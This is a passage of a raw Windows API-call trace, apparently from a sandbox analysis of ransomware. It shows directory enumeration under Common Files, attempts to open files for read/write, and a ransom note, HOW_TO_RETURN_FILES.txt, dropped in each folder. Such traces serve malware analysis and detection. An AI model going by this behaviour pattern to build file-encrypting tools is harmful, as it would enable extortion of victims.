lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\") returned 37 [0125.136] AreFileApisANSI () returned 1 [0125.136] GetACP () returned 0x4e4 [0125.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dfd8) returned 1 [0125.137] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.137] AreFileApisANSI () returned 1 [0125.137] GetACP () returned 0x4e4 [0125.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dfd8) returned 2 [0125.137] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.137] AreFileApisANSI () returned 1 [0125.137] GetACP () returned 0x4e4 [0125.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ado", cchWideChar=3, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="adoYf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dfd8) returned 3 [0125.137] AreFileApisANSI () returned 1 [0125.137] GetACP () returned 0x4e4 [0125.137] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699960, cbMultiByte=41, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\ado\\k") returned 41 [0125.138] AreFileApisANSI () returned 1 [0125.138] GetACP () returned 0x4e4 [0125.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".aOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 1 [0125.138] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.138] AreFileApisANSI () returned 1 [0125.138] GetACP () returned 0x4e4 [0125.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..Oz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 2 [0125.138] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.138] AreFileApisANSI () returned 1 [0125.138] GetACP () returned 0x4e4 [0125.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="adojavas.inc", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="adojavas.incnCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 12 [0125.138] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.139] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.139] AreFileApisANSI () returned 1 [0125.139] GetACP () returned 0x4e4 [0125.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="adovbs.inc", cchWideChar=10, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="adovbs.incnc", lpUsedDefaultChar=0x37df4c) returned 10 [0125.139] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.139] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.139] AreFileApisANSI () returned 1 [0125.139] GetACP () returned 0x4e4 [0125.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="en-USs.inc", lpUsedDefaultChar=0x37df4c) returned 5 [0125.139] AreFileApisANSI () returned 1 [0125.139] GetACP () returned 0x4e4 [0125.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699998, cbMultiByte=47, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\ado\\en-US\\") returned 47 [0125.140] AreFileApisANSI () returned 1 [0125.140] GetACP () returned 0x4e4 [0125.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0125.140] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.140] AreFileApisANSI () returned 1 [0125.140] GetACP () returned 0x4e4 [0125.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0125.140] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.140] AreFileApisANSI () returned 1 [0125.140] GetACP () returned 0x4e4 [0125.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msader15.dll.mui", cchWideChar=16, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="msader15.dll.muio", lpUsedDefaultChar=0x37dec0) returned 16 [0125.140] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.141] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.141] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.141] AreFileApisANSI () returned 1 [0125.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a98f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0125.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.141] GetFileType (hFile=0x130) returned 0x1 [0125.142] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.142] AreFileApisANSI () returned 1 [0125.142] GetACP () returned 0x4e4 [0125.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msader15.dll", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msader15.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0125.142] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.142] AreFileApisANSI () returned 1 [0125.142] GetACP () returned 0x4e4 [0125.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msado15.dll", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msado15.dlll", lpUsedDefaultChar=0x37df4c) returned 11 [0125.142] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.142] AreFileApisANSI () returned 1 [0125.142] GetACP () returned 0x4e4 [0125.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msado20.tlb", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msado20.tlb", lpUsedDefaultChar=0x37df4c) returned 11 [0125.143] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.143] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.143] AreFileApisANSI () returned 1 [0125.143] GetACP () returned 0x4e4 [0125.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msado21.tlb", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msado21.tlb", lpUsedDefaultChar=0x37df4c) returned 11 [0125.143] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.143] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.143] AreFileApisANSI () returned 1 [0125.144] GetACP () returned 0x4e4 [0125.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msado25.tlb", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msado25.tlb", lpUsedDefaultChar=0x37df4c) returned 11 [0125.144] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.144] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.144] AreFileApisANSI () returned 1 [0125.144] GetACP () returned 0x4e4 [0125.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msado26.tlb", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msado26.tlb", lpUsedDefaultChar=0x37df4c) returned 11 [0125.144] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.145] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.145] AreFileApisANSI () returned 1 [0125.145] GetACP () returned 0x4e4 [0125.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msado27.tlb", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msado27.tlb", lpUsedDefaultChar=0x37df4c) returned 11 [0125.145] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.145] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.145] AreFileApisANSI () returned 1 [0125.145] GetACP () returned 0x4e4 [0125.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msado28.tlb", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msado28.tlb", lpUsedDefaultChar=0x37df4c) returned 11 [0125.145] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.145] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.145] AreFileApisANSI () returned 1 [0125.145] GetACP () returned 0x4e4 [0125.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadomd.dll", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msadomd.dll", lpUsedDefaultChar=0x37df4c) returned 11 [0125.145] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.145] AreFileApisANSI () returned 1 [0125.145] GetACP () returned 0x4e4 [0125.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadomd28.tlb", cchWideChar=13, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msadomd28.tlbCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 13 [0125.145] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.146] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.146] AreFileApisANSI () returned 1 [0125.146] GetACP () returned 0x4e4 [0125.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msador15.dll", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msador15.dllb", lpUsedDefaultChar=0x37df4c) returned 12 [0125.146] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.146] AreFileApisANSI () returned 1 [0125.146] GetACP () returned 0x4e4 [0125.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadox.dll", cchWideChar=10, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msadox.dllll", lpUsedDefaultChar=0x37df4c) returned 10 [0125.146] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.146] AreFileApisANSI () returned 1 [0125.146] GetACP () returned 0x4e4 [0125.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadox28.tlb", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msadox28.tlb", lpUsedDefaultChar=0x37df4c) returned 12 [0125.146] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.147] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.147] AreFileApisANSI () returned 1 [0125.147] GetACP () returned 0x4e4 [0125.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadrh15.dll", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msadrh15.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0125.147] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0125.147] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0125.147] AreFileApisANSI () returned 1 [0125.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a98f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0125.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0125.147] GetFileType (hFile=0x12c) returned 0x1 [0125.148] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.148] AreFileApisANSI () returned 1 [0125.148] GetACP () returned 0x4e4 [0125.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DirectDB.dll", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DirectDB.dllfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dfd8) returned 12 [0125.148] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.148] AreFileApisANSI () returned 1 [0125.148] GetACP () returned 0x4e4 [0125.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="en-UStDB.dll", lpUsedDefaultChar=0x37dfd8) returned 5 [0125.148] AreFileApisANSI () returned 1 [0125.149] GetACP () returned 0x4e4 [0125.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699960, cbMultiByte=43, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\en-US\\랣") returned 43 [0125.149] AreFileApisANSI () returned 1 [0125.149] GetACP () returned 0x4e4 [0125.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37df4c) returned 1 [0125.149] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.149] AreFileApisANSI () returned 1 [0125.149] GetACP () returned 0x4e4 [0125.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37df4c) returned 2 [0125.149] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.149] AreFileApisANSI () returned 1 [0125.149] GetACP () returned 0x4e4 [0125.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="wab32res.dll.mui", cchWideChar=16, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="wab32res.dll.muiff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37df4c) returned 16 [0125.149] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.149] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0125.149] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0125.149] AreFileApisANSI () returned 1 [0125.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a98f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0125.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\system\\en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0125.150] GetFileType (hFile=0x12c) returned 0x1 [0125.151] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.151] AreFileApisANSI () returned 1 [0125.151] GetACP () returned 0x4e4 [0125.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msadc", cchWideChar=5, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="msadc", lpUsedDefaultChar=0x37dfd8) returned 5 [0125.151] AreFileApisANSI () returned 1 [0125.151] GetACP () returned 0x4e4 [0125.151] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699960, cbMultiByte=43, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\랣") returned 43 [0125.152] AreFileApisANSI () returned 1 [0125.152] GetACP () returned 0x4e4 [0125.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37df4c) returned 1 [0125.153] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.153] AreFileApisANSI () returned 1 [0125.153] GetACP () returned 0x4e4 [0125.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", 